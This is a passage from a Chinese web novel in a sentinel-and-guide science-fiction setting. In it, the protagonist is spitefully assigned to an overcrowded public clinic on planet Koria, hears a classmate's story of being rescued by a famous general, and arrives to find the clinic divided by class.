【全体学员请注意：本月强制任务列表已更新，请于星历6月14日0点前，通过核心终端登陆，进入“圣所任务调度平台”接取。逾期未选取将由智脑赫尔墨斯判定后强制指定。任务执行期为星历7月1日至7月3日（共3天）。未完成者，将扣除相应学分并影响年度评定。】 圣所每月强制任务，来了。 推送消息如同一颗被投入了湖面的石子，瞬间打破了圣所的平静。 不论是初级基础班还是高级研修班，学员们纷纷在任务列表更新的第一时间里，就低头查看起了终端。 每月的强制任务，不仅关系到每年的考核评定，更是圣所向导们在学习期间唯一的对外联系窗口。许多还未毕业前就确定工作的向导，亦或在学习期间建立起的人脉，往往都是在强制任务期间奠定的基础，由不得大家不重视。 江寻使用学号登陆圣所任务调度平台，瞬间，一个巨大的全息星图便投射在了他面前。 星图之上，代表不同等级、类型的任务光点，根据任务地点被分布在不同的星球上，点开每个光点，便能看到展开列表中标明的简略任务说明与任务需求。 这是圣所与联盟政府、各大正规组织合作搭建的平台，旨在为圣所学员提供实习机会与安全保障，任务发布方基本都是经过审核的大型机构或官方部门，在任务期间，学员们也会受到相关部门与机构的支持保护。 为了保证安全稳定，任务区域一般位于中央星系之中，分布于各重要星球及空间站、大型舰艇之中。学员可以根据自身能力、兴趣和课程安排自行选择。信息智脑赫尔墨斯，也会根据学员的具体等级、过往表现以及任务需求、紧急程度，进行智能推荐。 江寻的目光快速扫过推荐列表。赫尔墨斯已经根据他B级向导的身份，为他优先推送了几个位于中央星核心区或枢纽空间站的任务。江寻大概浏览了一圈，任务内容有一定难度，但对于他来说都没有什么难度，报酬丰厚，环境也相对安全，距离中央星也近，时间可控，都是一些十分合适的选择。 他对于结交人脉等事并无什么迫切的需求，正准备直接从推荐列表里选定那个位于中央星上的社区精神疏导任务。 突然，面前的列表突然滚动了起来，最上方，猛地凸显出一条新的任务，同时，一行加粗的金色文字从屏幕上方滚动而过： 【紧急任务：协助“深空探索者号”科考船进行高危星域异常样本采集。需求向导：C级及以上，1名。协同哨兵：弗兰克·雷欧（B级）。】 然而，还没等江寻点开查看，这条任务便马上变成了“已被接取”的橙红色。 “哗——！” 整个大厅瞬间被这条突如其来的紧急任务提示点燃！已有许多手快的学员点开了任务说明查看，惊呼声此起彼伏。 “‘深空探索者号’！这不是雷欧家族赞助的那艘顶级科考船吗？” “协同哨兵是弗兰克少爷！天啊！这根本就是弗兰克少爷亲自指定的高级任务吧？” “危险程度中低，信用点五星！这任务条件也太丰厚了吧？！” “谁那么快接到了啊？也太幸运了！咦，怎么是强制指定？” 看到“强制指定”几个字，众人纷纷忍不住扭头，将羡慕嫉妒的眼神齐刷刷投向了桑扶的方向。看到他一脸得意笑容，纷纷露出了“早知如此”的叹息。 谁都知道，最近弗兰克少爷与桑扶走得极近，这种待遇丰厚，任务内容又简单的任务，简直可以说就是量身定做，专为接取任务的向导镀金用的。不仅能在任务期间获得高额的信用点，和在顶级科考船上工作过的履历，还能在任务期间，与弗兰克少爷共处培养感情。 种种优渥条件，让众人不得不眼红。 桑扶依然坐在他的最前排，此时正在众人目光的洗礼下，露出压抑不住的狂喜和得意。 他早已提前拜托弗兰克为他安排这个任务，此时，在众目睽睽之下被系统公布出来，又秒速指定给自己，看着众人羡慕嫉妒的目光，他的虚荣心得到了前所未有的满足。 看看！这就是顶级世家的能量！这些东西，岂是一个小小的学院首席能带来的？ 想到这里，桑扶忍不住侧过头去，眼中带着满满的属于胜利者的挑衅，瞥向坐在后排的江寻。蠢货！看看吧！看看你放弃了什么？！这才是最顶级的世家能够给与的资源与人脉！ 江寻也已经看到了那条刺眼的紧急任务，感受到了桑扶眼中的挑衅。他面上表情丝毫未变，只在心中摇了摇头。 这个桑扶，明明自己与他并无实质冲突，他却一直视自己为眼中刺肉中钉，也不知哪来的那么大气性。 正要重新翻出自己选择好的任务进行接取，突然，异变陡生！ 只见他面前的全息星图右上角，猛地闪烁起一条讯息提示，紧接着，他面前所有的任务光点，都瞬间变成了不能接取的灰色！ 与此同时，有一个新的任务光点突兀出现在众人的任务列表最下方，并且在下一秒，同样变成了“已被接取”的橙红色。 江寻一楞，点开那条突然出现的讯息，只见一条任务确认消息赫然出现在了他的面前： 【紧急任务：医疗支援。（已接取）任务地点：科里亚星二号公共疏导所。需求向导：1名（需具备独立处理中度精神污染及中度失控的能力）。任务说明：该疏导所近期接收哨兵数量激增，向导资源极度匮乏，急需支援。任务时长：3天。危险等级：中高级。信用点奖励：一星】—— 作者有话说：一更 第127章 江寻看着讯息中显示的那条 【已接取】的提示， 指尖在光屏上微微一顿。 又是强制指派。 没有经过他的主动选择，也没有问询，直接由后台权限强制性锁定指派。 难度高， 环境复杂， 收益极低， 对于履历毫无裨益，任务环境里能接触到的，也多是些位于底层的低级向导与中低级哨兵。 这条任务的内容， 与上一条出现的强制指派任务有着天壤之别。 此时， 大厅中众人也纷纷注意到了这第二个强制指派任务的存在，各色复杂目光又一次齐刷刷地转移了方向，落在了江寻身上。 “嗤~” 清晰的嗤笑声从斜前方传来，声音里浸满了毫不掩饰的快意。桑扶好整以暇地弹了弹指甲，欣赏着那条标注着“夏因”名字的任务说明，嘴角高高翘起， 眼底是明晃晃的幸灾乐祸。 “啧！科里亚星呀， ”他故意提高了音量， 仿佛在自言自语，声音却大得让周围的人听得清清楚楚。 “听说那里可是个热闹的地方， 有名的商业中枢嘛，人来人往鱼龙混杂的， 听说那里的公共疏导所可是个宝地，稀奇古怪的积压案例多得不得了， 夏因向导你可是撞大运了，能捞到这么多的宝贵经验呢！多少人求都求不来！” 科里亚星，一个以繁忙的空港与低端制造业闻名中央星系的工商业星球，星球上汇聚了许多大型公司的生产基地， 居民大部分是从事高强度、低保障性工作的普通人与低阶哨兵。往来还有许许多多运输舰队、星际佣兵、与零散的小型商队。 这种星球上的公共疏导所，条件仅仅比那些开在前线混乱星系的临时疏导站强上一些，服务的都是联盟中地位最边缘的那一部分群体，平日里工作琐碎繁多，数量又十分庞大，出了名的辛苦又繁琐，不仅工作压力巨大，经济回报更是寥寥无几，更不要说有价值的人脉关系了。 这样的任务，向来是被挂在面向全星际的公共任务区里，等待着那些为生计奔波的自由向导去接取的。 对于圣所精心培养的高阶向导们来说，这种任务纯粹是白耗心力，毫无价值可言。更不要说，他还被直接指定给江寻这样一位前途无量的B级向导。 如此明目张胆，一看便有猫腻的任务指派，瞬间引爆了周围的议论声。所有人都心知肚明，这是桑扶赤裸裸的报复。众人投过来的目光中，夹杂着同情、可怜、不解，但更多的，还是看好戏的玩味。 许多原本对桑扶不假辞色的人，此时脸色也变得有些难看。连“夏因”这样备受瞩目的高阶向导，桑扶都能如此轻易地给他使绊子，故意打压，那么要是得罪他的换做了自己呢？下场又会如何？这样的猜想，让许多人后背一寒。 簇拥着桑扶的拥趸们开始更加卖力地吹嘘着弗兰克少爷对于桑扶的看重，桑扶自己，也是满面红光，仿佛已经看到了江寻在那混乱嘈杂的公共疏导所里，狼狈地收拾着烂摊子的可笑模样。 江寻的目光在任务描述上停留片刻，便平静地关闭了投影，他的脸上依旧是平日里的那副神情，丝毫没有出现桑扶想要看到的愤怒或者失落。 他利落地收拾好晶板与教材，便起身向着门外走去，姿态从容，仿佛只是接到了一份寻常的课后练习作业。 身后，桑扶面上那得意的笑容，因为江寻这轻描淡写的反应，瞬间冷却了下来。这样好似一拳打在了棉花上的感觉，非但没有让他体会到报复成功的快感，反而只余下满腔的憋屈与愤怒。 江寻走到门口时，恰巧遇到了再次前来接人的雷欧家管家，他的目光掠过管家身后不远处停泊着的那辆豪华悬浮车，与那深色车窗后隐约透出的人影对视了一秒，发出一声短促的轻笑。 随即，没有再理会身后任何人的目光，径直穿过下课的人群，迈着匀速的步伐，头也不回地向着外城走去，挺直的背影，很快消失在人潮尽头。 按照任务确认讯息上提到的时间，前往科里亚星的穿梭舰将在两天后启程。 江寻在这两天里，提前通知了诊所那边的沃特与黑蝎，暂闭了诊所的运营。收拾好了必备的个人用品与最重要的私人医疗箱等物。随后，便在通知的时间里，登上了前往科里亚星的夜间穿梭舰。 * 同一时间，一艘刻印着银白色军部标志的驱逐舰上，斯通腕间的终端一响，一封简讯被传送了过来。 当简讯内容在光屏上展开时，一直站在他身边的副官摩尔根，也不见外地凑了上来，刚读了两行，眼中便爆发出惊喜的光芒。 “上校，成了！那个向导还真的被弄到科里亚去了！”摩尔根兴奋地直搓手，“这下好了，公共疏导所！哈！那地方可比圣所方便多了！到时候，咱们不是想去就去嘛！咱们是不是现在就直接过去等着了？” 斯通面无表情地斜了他一眼：“摩尔根中尉，注意军纪！” “嗨嗨！明白，长官！”摩尔根嬉皮笑脸，丝毫没有害怕面前这位向来面冷心软的上峰，“可是现在咱们也没在正式任务期间嘛！我这话可不是对着长官说的，而是跟我的老伙计斯通说的！” 斯通紧抿的唇角无奈地扬起一抹弧度，眼中掠过一丝柔软，随即摇了摇头，转身面向指挥台，清晰下令：“全舰队听令，立即变更航道，目标：科里亚星！” * 外城区，时正中午，锈蚀齿轮酒馆中还没有什么客人，此时，只有中央那张油腻腻的圆桌旁，坐着一个单腿踩在凳子上的身影。季千钧面前横七竖八地摆着好几个空酒瓶，正一边拎着酒瓶猛灌，一边大快朵颐。 旁边，新收服的毒牙帮小弟，正磕磕巴巴地汇报着近期搜集到的，关于江寻的琐碎信息。 “……嗯？公共疏导所？他？” 季千钧听着听着，挑高了眉毛：“他怎么会选……” 话说到一半，已经明白了过来，她猛得灌了一大口酒，嗤笑一声，话语里带着不屑：“哈！公共疏导所，亏他们能想得出来！这帮子软蛋，就会在别人背后搞这些鬼蜮伎俩！” 她周身原本就十分活跃的精神力场，因为这突如其来的怒意猛地高涨起来，无形的风压骤然扩散开来，吹得那一头红发高高飘扬了起来，像是燃烧的滚滚烈焰。 “哼！”她重重将酒瓶顿在桌上，面上扯开一个锐利的笑，“不过也好，这样一来，省了老娘不少麻烦。喂，小子！给我订最快的船票，老娘要亲自去科里亚星瞧瞧！” * 前往科里亚星的夜间穿梭舰，是由一艘货运舰改制而成的，外表看起来庞大而陈旧，由货舱改制的客舱里，座位被排布得狭窄紧密，空气里弥漫着从拥挤人群中传来的复杂体味，头顶略有些昏暗的灯光，加重了乘客们的倦怠感。 江寻找到自己靠窗的座位，将自己简单的行李塞进头顶的置物舱里，便坐了下来，闭目养神。 不一会儿，身边传来一阵窸窸窣窣的动静，光线一暗，一个人影坐了下来。 “请、请问……您是夏因向导吗？” 一个带着明显的紧张，和几分不确定的年轻女孩声音，在身侧响起。 江寻一怔，睁眼看去。 只见身边刚刚坐下的，是个看起来不过二十岁出头的娇小女孩。 她穿着一身洗得有些发白的碎花裙子，怀里紧紧抱着一个鼓囊囊的背包。一双大大的眼睛，此刻正亮晶晶地看着他，脸颊激动得微微泛红。 “我是夏因，你是……？”江寻对着她微微颔首，略带疑惑地问道。 “啊！真的是您！我是，我……”女孩激动得瞬间雀跃了起来，被周围不满看过来的人一瞪，赶紧又压低了声音，“我叫梅丽，是圣所初级基础班234期的！我……我认识您！我们班有好多人都特别崇拜您！当时您匹配度测试的时候……啊，对不起！” 说到一半，她似乎是意识到自己在兴奋之下，可能提到了个人敏感话题，忙捂住了嘴，一双大眼睛中，满是歉意。 “没关系，”江寻了然，看了一眼被她抱在怀里的背包，扬了扬下巴示意，“需要帮忙吗？” “啊？啊！可以吗？这个有点重……”女孩涨红了脸，说话都磕巴了起来，看着江寻轻松地一手便将那个对她而言非常沉重的背包举了起来，稳稳放入了头顶的置物舱里，眼中满是崇拜，忙不迭地连连颔首，“太，太感谢您了！” 重新坐下，看着对方有些紧张的样子，江寻想了想，主动开口问道：“梅丽同学，你也是去科里亚做月度任务的？公共疏导所？” “嗯嗯！”梅丽的注意力被岔开，放松了一些，用力点了点头，脸上重新焕发出光彩，“夏因向导您也是吗？太好了！” 江寻有些意外，按理说，去公共疏导所支援这样的任务，是不会有圣所的正式学员接取的。对于高级研修班的学员来说，条件太差；对于初级基础班的学员来说，任务又太重，难以负荷。 自己此去是出自他人的手笔，难道她也是？ 见江寻的表情，梅丽忙补充，话语里，还带着点和朋友分享小秘密般的雀跃：“我是主动申请的！” “主动？” “嗯嗯！”梅丽用力点了点头，眼睛里闪烁着纯粹的快乐：“因为……我听说陆厌离少将的舰队，最近正在沿着那条线路回返中央星，过几天就会路过科里亚星！等他回到中央星以后，肯定就很忙了，我也没有机会出去见到他。所以我就想……就想趁着这次任务的机会，去科里亚星碰碰运气！说不定……说不定能远远地看他一眼呢！”—— 作者有话说：二更 第128章 “陆厌离？”江寻觉得这个名字有点耳熟， 似乎在哪里听到过。 “对对！就是他！”说到这个人，梅丽的声音不自觉地拔高，随即又马上不好意思地捂住了嘴， “陆少将……他是我的恩人！” 星舰微微一震， 强烈的推背感传来， 穿梭舰开始爬升。梅丽的声音，在低沉的引擎嗡鸣声中娓娓道来。 “我出生在联盟最边缘的M88星系里，一颗几乎已经被采集殆尽的矿星上……我从未见过我的父母， 从我记事开始， 便一直跟着在各地做临时旷工的叔叔阿姨们一起生活。在我十二岁那年，有一次不小心落水，结果意外觉醒了……” “之后，我便被当时负责那片矿区的主管带走，卖给了一个奴隶团，我像只畜生一样被关进了连站都站不起来的笼子里， 和许多个和我差不多大小的孩子一起……”梅丽的声音微微发颤， 陷入回忆中的女孩， 眼睫湿润了起来，两只手紧紧攥在了一起。 “我们被关了好久好久， 久到我几乎以为这辈子再也出不去了……突然，有一天， 我听到外面传来了怒吼声、哀嚎声，还有很多重物倒地的声音……”梅丽的眼睛亮了起来， “然后，有一个很清亮的声音，从船上的扩音器里传出来，他告诉我们， 安全了，我们得救了！” 梅丽深吸了一口气，身体激动得有些颤抖，似乎又回到了那个时刻：“接着，就有两个穿着防护服的人，在货舱里找到了我们，把我们救了出来。我们一路向外走，一路上……全都是倒毙的奴隶贩子的尸体，还有烧焦的机甲和武器。陆少将当时就站在舰首的控制台旁边！他穿着一身黑色的作战服，看着那么年轻，甚至有点瘦削，完全看不出有多么厉害！可是地上倒的都是人，他居然毫发未伤！” “您是没看到！他们一共只有四个人！就凭着一台机甲和一艘最普通的小型登陆舰，就把那一整船的奴隶贩子，连同当时来交易的一伙星盗全灭了！”她的眼睛亮得惊人，充满了崇拜，“那些星盗甚至都没法走到他的面前，只能用自爆的手段来阻挡他的追击！” 梅丽激动地连连比划着，向江寻描述着那一幕：“他只花了不到一个小时，就解决了所有的敌人。确认所有被抓住的人都获救后，连名字都没留，甚至还把他们自己的应急物资分给了我们。然后，告诉我们，塔在附近星域有临时接收点，可以将我们送去塔里，接受塔的救助与教育！” “我和几个弟弟妹妹，就是那时候被送到塔里的，”梅丽看向江寻，面上带笑，眼中却闪动着泪花，“我们直到后来，在塔的内部频道上看到了他，才知道他就是我们联盟荣耀的双星之一，陆厌离少将！” “如果没有陆少将，我和我的兄弟姐妹们，可能早就死在不知哪个角落了。虽然他看起来总是很冷淡，话也很少，但我知道，他其实内心里非常柔软。他是我见过最强大、最温柔的人！”梅丽使劲擦掉眼泪，露出灿烂的微笑。 “后来，听说他一直找不到能够匹配的向导，出任务的次数又太过频繁，堕化值上涨得很快，不得已，加入了愈灵殿的休眠计划，平日里只能沉睡在休眠舱里，只有接到任务时才能苏醒过来……”梅丽的眼中再次浮起了哀伤，“再后来……有消息说，陆少将彻底堕化，被军部放逐了……” 梅丽的声音里带上了哭腔：“当时，联盟许多星球，都自发地为陆少将举行了哀悼会，我也去了……来的人特别特别多！几乎全部都是在这十几年间，被他直接或者间接救过的人！当时，我们真的以为，陆少将已经不在了……” “可是，天哪！老天保佑！几个月前，联盟突然宣布，陆少将痊愈归来了！”梅丽喜极而泣，眼泪从眼眶里大颗大颗地滑落下来，“太好了！我就知道！我就知道！像他那样好的人，怎么会就这么死了！” “听说，这次是他痊愈后第一次再次出征大胜归来，但是不知道为什么，到了中央星域附近时，少将舰队的行进速度突然变慢了。有传言说，少将好像是沿途在找什么东西。”梅丽腼腆地笑了笑，“所以，听说他即将要路过科里亚，我就想着，也趁这个机会去科里亚那边碰碰运气……我就想远远地看一眼，看看他现在好不好……” 梅丽的声音渐渐低下去，有些不好意思地擦了擦眼角：“对不起，夏因向导，我是不是说得太多了？我就是……太激动了，我已经很久很久没看到陆少将好好地站在面前了，连星网的新闻上也没有。而且路上还遇到了您，又正好同路一起去科里亚……” 江寻静静地听着这个年轻的女孩，断断续续的讲述。她的描述并不华丽，甚至有些琐碎，却异常真挚鲜活。 他仿佛看到了一个年轻的战士，只身在血与火中穿行游走，燃烧着自己，为无数人带来新生。 他一直知道，无论在哪个世界里，大部分人安宁生活的背后，总有着一些强大而无声的背影，为所有人扛起了重担。 他在现实中从未真正地接触过这些人，可这不妨碍他对他们怀有深深的敬意。 “没有，我很高兴能听到你说这些，”江寻的声音比平时温和了许多，“陆厌离少将……听起来是一位非常了不起的军人。” 江寻的目光投向舷窗外无垠的宇宙空间。 在今天之前，他已经在混乱的局势中挣扎了很久，从遥远的自由城，一直到中央星、哨兵岛。 这个世界与地球完全不同，在地球上隐隐可见的阶级表现，在这里特殊的背景条件下，更是体现得淋漓尽致。 自从与小树离开了那个世外桃源一般的无人星，他便一头扎进了这漩涡之中无法脱离。 来自阶级的压迫，时时刻刻梗在他心头，他每天都要思考着，如何应对各方的角力，在众多纷繁势力之间周旋，已经很久没有轻松地生活，也很久没有遇到可以与他平和交谈的朋友。 科里亚星的任务，本来只是来源于高位者无法反抗的刁难。可此时，却因为这一点意外的小小闪光，让他感受到了来自生活的惊喜。 因为梅丽的话语，他对这位素未谋面的联盟之星，生出了些许好感，也对接下来的任务，有了一些特别的期待。 而梅丽，听到江寻的话，也开心地笑了起来，用力地点了点头：“嗯！陆少将真的是一个很好很好的人！” 星空无垠，穿梭舰一个加速，载着许多人的希望，向着科里亚星驶去，明天，又会有什么奇妙的际遇出现呢？ * 第二天，科里亚星，空港。 “夏因向导，谢谢您一路上的照顾！”梅丽将背包紧紧抱在怀里，冲着江寻深深地鞠了一躬，“那就在这里分别吧！我去一号疏导所啦！” 江寻看着面前这个可爱的女孩子，温和地笑了笑，朝她晃了晃手腕上的终端：“嗯，去吧，这三天里，要是遇到什么困难，可以用终端联系我。三天后，我们再一起回返中央星。” “嗯嗯！”梅丽高兴地连连点头，一边不住地回头招手，一边快步向着不远处，高举着她名字的接机牌跑去。 待目视着女孩彻底离开自己的视线，江寻四下张望一下，却一直没有看到来接应他的工作人员。他也不再在这里继续等待，调出任务详情，查看了一下二号疏导所的位置，便乘坐着拥挤的公共交通，向着那个方向驶去。 一路行来，江寻发现，这个星球果然十分热闹。 这里的建筑风格明显比中央星落后许多，但却更接近江寻记忆里的地球，再加上这里的人口密度，也与江寻记忆中的那个东方国度颇为相似，反而让江寻生出了一丝亲切之感。 从港口到疏导所的这一路上，始终人声鼎沸。 从上到下，呈立体状态分割而出的五条道路上，全部都挤挤攘攘地堵满了人与车。 载客的、装货的、豪华的、破旧的，各式各样的悬浮车，统统能在这短短的一段路径上，找到它们的身影。 待得江寻一路乘车来到疏导所的门口，更是被里面拥挤嘈杂的景象，惊了一跳。 巨大的穹顶下，是一个足以容纳数百人的庞大空间。 可以看出，疏导所建成的年份不算太久，各种设施还比较新。可一楼大厅的金属墙壁上，已经布满了各种划痕。 江寻数了一下，从上到下，整整五层空间。 然而奇怪的是，此时，下面的三层空间几乎都被各种各样的病患挤满。而上面两层却空旷得多，特别是最高一层，几乎看不到人影。 作为一个官方指定的公共医疗机构，空气里居然少有熟悉的消毒水味道，反而被满满的汗液、血腥气，硝烟味与带着劣质香精气味的人工向导素味道所填满。 不仅如此，无数从精神不稳的哨兵身上逸散出来的，混杂着焦虑、狂躁等负面情绪的混乱精神力场，也隐隐在空中对立着、焦灼着。 一楼大厅等待区的长椅上，满满当当坐满了人，甚至有不少席地而坐或半倚着墙壁等待的哨兵。 这里的人大多穿着沾着油污或血渍的工装、战斗服，眼神疲惫而迷茫，有的人瞳孔已经在不受控制地扩散又收缩，流露出一丝野兽般的凶性。 众多哨兵，因为控制不住感官过载，亦或陷入了神游之中，不停地发出嘶哑的低吼呻吟，与粗重的喘息声。还有不少人的精神体都不受控制地显现了出来，焦躁地在主人的脚边逡巡低吼。 江寻的目光再次扫过这完全不同的几个楼层，终于发现了一些端倪。 只见在这五个楼层显眼的外墙上，分别挂着不同的标识牌，从上到下分别写着A、B、C、D、E区。而分布在各层的病患，从精神状态到穿着打扮也大不相同。 越往上，分诊室越少，空间越是宽敞明亮，等待着的病人人数也越少，衣着越精致。分诊室内部的情况江寻看不到，但想来，环境和配置也必然更好。 等级分隔带来的差异，就这样赤裸裸地展现在所有人面前。 “快来人啊！我兄弟要撑不住了！” 突然，门口传来一道声音粗哑的吼叫，一个半身是血的强壮哨兵，猛地推开门，半拖半抱着一个双目赤红，不停吼叫着，挥舞着四肢的同伴，跌跌撞撞地冲了进来。 两人的精神力场纠缠在一起，但都十分颓靡又充满攻击性。 “D级哨兵，中度失控，快点！送去D-25室！” 江寻刚侧身避过，便见几个穿着相似工作服的护士，推着空置的转运床，步履匆匆地跑了过来，飞快将人放上床，便立刻转身，推着人向着二楼一个狭窄的诊室冲了过去。 “抑制剂！我说了C-7需要双倍剂量的抑制剂！不是舒缓剂！药房那边是死人吗？这都能拿错？……什么？缺货？！妈的！那快给上面打报告啊！” 身后，一个穿着皱巴巴白大褂、头发凌乱、眼神里带着明显疲惫的中年男人，一边冲着别在胸前的对讲机愤怒喊话，一边快速指挥着护士们动作。胸前挂着的名牌上明晃晃地刻着几个字：“主管：霍克”。 江寻虽然穿着一身深色常服，全身上下却格外整洁挺括，站在这嘈杂的疏导所入口处，与这里混乱忙碌的环境格格不入。 中年男人一眼扫过来，终于发现了已经在门口站了一会儿的江寻。他楞了一下，先是疑惑地上下打量了他一番，直到看到江寻别在领口的B级铜钉盾徽和悬在胸前的塔徽，浑浊疲惫的眼睛里这才闪过一丝惊愕，随即，又被困惑与惶恐所取代。 他几乎是下意识地低下头，飞快在自己手腕终端上快速划拉了几下，似乎是在确认着什么。 几秒钟后，霍克终于抬起了头，布满胡渣的脸上，表情生硬地挤出一个混杂着疲惫与讨好的笑容，快步迎了上来，脚步甚至有些踉跄。 “您好！您……您就是圣所指派来的高阶向导，夏因先生吗？” 霍克的声音显得有些小心翼翼，声音里有些因过度紧张导致的沙哑，他不着痕迹地打量着江寻年轻得过分的面庞，还有领口上那枚闪耀的铜钉盾徽，眼神始终迟疑又不敢置信。 报告上说的B级医疗支援，居然是真的？！来的人还这么年轻？这种高级研修班的天之骄子，怎么会想到来他们这种鬼地方？ “是我，夏因。”江寻即使面对着面前这个稍显凌乱的中年人，也丝毫未失礼数，微微颔首，应声道。 “啊！这……实在是怠慢了怠慢了！也没派人去接您，对不住！”霍克表情尴尬地搓着手，见到江寻如此反应，面上更显惶恐，腰不自觉地弯了下去。 “您看这……我们这里实在太忙了，人手也不够，所以……报告，报告我是收到了，可是，可我没想到真的有人过来！不，不……我不是说您不该来的意思，我是说，我还以为是系统录入错误了，或者……或者您那边有什么意外搞错了呢！” 霍克不停哈着腰，急促的话语有些磕磕绊绊：“您看我们这儿乱的，连个像样的人手去接您都抽不出来，让您自己过来了，实在是……” 他一边语无伦次地道歉，一边侧身引路，特意将身子侧向一边，似乎是想要遮掩大厅里或坐或躺的等待人群，把江寻往一侧电梯的方向带：“夏因向导，您这边请！小心脚下！按规矩，您的诊疗室在B区，一切设施都齐全，给您准备好了！您请！” 附近的一些尚有理智的哨兵和医疗人员，看着霍克的动作，都忍不住地向两人投来惊异的目光，又在触及江寻领口的徽章后，急急收回了视线。可眼神中，还是不由升起了丝丝希冀，不住地向着两人的方向偷偷瞟过来。 江寻敏锐地察觉了众人不同的目光，脚下略微一顿，快速环视了整个疏导所一眼，略一抿唇，没有说什么，跟上了霍克的脚步。 江寻被霍克几乎是半推着带上了电梯，一路踏上了四楼的B区。 这里的人很少，中央的候诊区里，冷硬狭窄的金属凳也换成了柔软的皮质靠背椅。椅子上，此时只寥寥坐着几人，不论是空气还是噪音，都比楼下几层的情况好得多，但空中弥漫着的无形精神力场却更加紧绷，充满了压抑的痛苦和狂躁。 坐着的几人里，有的穿着一看就质料上乘的战斗服，有的穿着整洁干净的制服，显露出他们完全不同的工作性质。 但他们的面色几乎是如出一辙的阴沉，眼神茫然混乱，有两个，甚至半拟化了部分躯体，无法恢复回去。 霍克和江寻的到来，让其中几人的眼珠略微动了动，可下一秒，眸中又失去了清明。只有其中一个，状况似乎稍好些的，一眼看到江寻领口佩戴着的盾徽，面上骤然浮起一抹惊喜。 正在此时，紧挨着候诊区旁的一件宽敞分诊室，门一开，从中走出一位身材高大的魁梧哨兵来。 他脸上挂着舒爽恍惚的奇异微笑，一边走着，一边横起胳膊，从嘴唇上抹过，状态明显比仍然坐在中央候诊区里的患者们轻松许多。可江寻还是敏锐地发现，他的步伐仍然缓慢而拖沓，周身的精神力场还是在不受控地向外伸展着看不见的爪牙。 “下一个，四号。” 随着房门的开启，一个略显沧桑暗哑的中年男声，从那件分诊室中传来，随即，坐在候诊室中的一位女士，在旁边护士的提醒与搀扶之下，慢慢走了进去。 “夏因向导？”霍克见江寻上楼后就站在原地不动了，小心翼翼地看了一眼他的表情，眼神往中央候诊区一滑，露出一抹了然，暗叹一口气，再次开口时，已经陪上了笑脸：“夏因向导，请跟我来吧！” 江寻回过神来，没说什么，跟着霍克走到了另一侧一间宽敞明亮的诊疗室里。 这里的环境又比外面的候诊区好得多。 中间靠一侧墙壁，摆放着两个相对而放的软质高背椅，中间隔着一张厚重但仅有不到一米宽度的诊疗桌。 另一侧墙边，靠墙立着两个满满当当的透明药柜，前方的角落里，还放置着三四架簇新的带轮仪器。 最里面靠墙，则是一张足有一米五左右宽度的诊疗床。 “夏因向导，您看，就是这里了！环境肯定不能跟中央星那边比，但是，我们这边按规矩只能做到这样了，希望您不要介意！” 霍克的姿态放得很低，当初看到任务确认单上“高级研修班”，“B级向导”的字样，他便直接关闭了讯息，压根没看来人的详细资料，只当是系统出错了。 如今其人真的来了，这高级研修班的出身与通身的气质，恐怕是某位得罪了人的大人物，亦或是被家族“发配”过来接受教训的子弟，他更不敢真的使唤他。 还好任务的时长只有三天，他现在只盼着对方能安安稳稳地呆在房间里，等任务结束能让自己恭恭敬敬地把人送走，可千万别在自己的地盘上出了什么幺蛾子。 霍克舔了舔嘴唇，眼睛在旁边崭新的仪器上扫过，流露出一丝可惜，随即回过神来，又连忙收回了目光：“夏因向导，一路过来辛苦了，那您先在这里歇着！有什么需要随时叫我！啊！我的通讯号是……” 霍克说着说着，这才想起自己连通讯号都没有留，忙低头在终端上划出页面，与江寻的终端碰了一下。 “这个就是我的通讯号了！有事您叫我，啊，然后水……”他有些陌生地环视一下房间，指着靠门边的一架机器接着说，“水、咖啡、鲜榨果汁等等，都在那边的饮品机里，您自便！然后，餐食的话，到餐点由其他部门统一提供，到时候会给您送上来的！” 他语速飞快，几句话说完，也不等江寻回应，便谄笑着快速后退，转身出了房门，便一路小跑着冲进了电梯。 江寻站在门边，看着楼下拥挤混乱的景象，再看看自己身后这间安静整洁，又空荡荡的诊疗室，眉头微微蹙了起来—— 作者有话说：今天提前写完啦！万岁！[加油] 第129章 江寻站在宽敞明亮的诊疗室门口， 视线越过前方的护栏，落在下方拥挤沸腾的大厅里。 呻吟、低吼、急促的脚步声、或大或小的通讯音，种种来源不同， 大小不一的嘈杂噪音， 混合成一股令人窒息的声浪， 裹挟着混乱驳杂的精神力场，在封闭的空间里左冲右突，不得安宁。 江寻皱了皱眉， 这样的环境， 对本身五感就极其敏锐的哨兵来说，刺激性极大，长时间待在这样的环境里，本身就会加重他们的精神负担，可是…… 看一眼大厅里一直在大声指挥的霍克，以及脚下不停， 始终来回奔忙的护士和其他低级向导们， 江寻只得叹了一口气。 这样的情况， 也不是他们想看到的。可客观条件摆在这里，整个社会里， 向导的人数缺口与哨兵差距那么大，形成这样的状况几乎是必然的结果。 这不是仅靠一两个人， 在短时间内就能改变的，需要长久的社会变革与新的举措。 他收回目光， 转身走进室内。 霍克的态度他大概明白，他大概是慑于自己的身份等级，担心自己的举动会扰乱疏导所长久以来形成的稳定状态。到时候，三天一到， 自己可以拍拍屁股走掉，后果却要他们来承担。 江寻自己也知道这个道理，不打算特立独行地非要表现自己。可是，既然他已经来了，总该做些力所能及的事。 他没有如霍克所想的那样在房间里休息，而是走到面向候诊区的那扇单向观察窗前，向外看去。 从这里，他可以清晰地看到B区候诊区，与对面那间分诊室里的动静。 B区候诊区比楼下要安静了许多，几位哨兵都十分克制地各据一方，半阖着眼睛努力控制着自身的精神力。但长时间的等待，明显让其中几人的状态越来越难以维持。 对面那间诊疗室的门一直紧闭，良久，房门才再次打开。江寻看了下时间，一个多小时。 透过半开的门扉，江寻隐约看到刚才进去的那位女士，正在门后整理着上衣，头发也有点乱了，好半天，才从房间里走了出来。 但在外等候的其他哨兵们对此却习以为常，只是面带羡慕地看着她含着笑意离开的背影，随即又期盼地望向半开着的诊疗室房门。 透过没有关严的门缝，江寻终于看清了接下来三天中，他的那位临时同事——一位头发已经灰白，法令纹深刻，眼神疲惫的中年男人。 又等待了差不多十分钟时间，里面才再次传来叫号的声音。 此时，等待在外面的五号哨兵，几乎已经无法维持稳定的形态了，走路跌跌撞撞，一只猛兽的虚影在他身后若隐若现，疯狂咆哮。 时间一分一秒过去，楼下的C区传来一阵更大的骚动，似乎是有候诊的哨兵失控发狂了。 霍克嘶哑的咆哮声与医护人员忙碌的奔跑声，穿透了脚下的楼板隐约传来。 而B区候诊区对面，那位中年向导的诊疗室依然大门紧闭，没有丝毫结束的迹象。 候诊区中的几位哨兵，小动作开始变多，身上的焦灼几乎凝成实质，无声的对峙中，气氛却比楼下的混乱更加让人胆战心惊起来，似乎随时都会有人就此失控。 江寻觉得，他不能再继续等下去了。 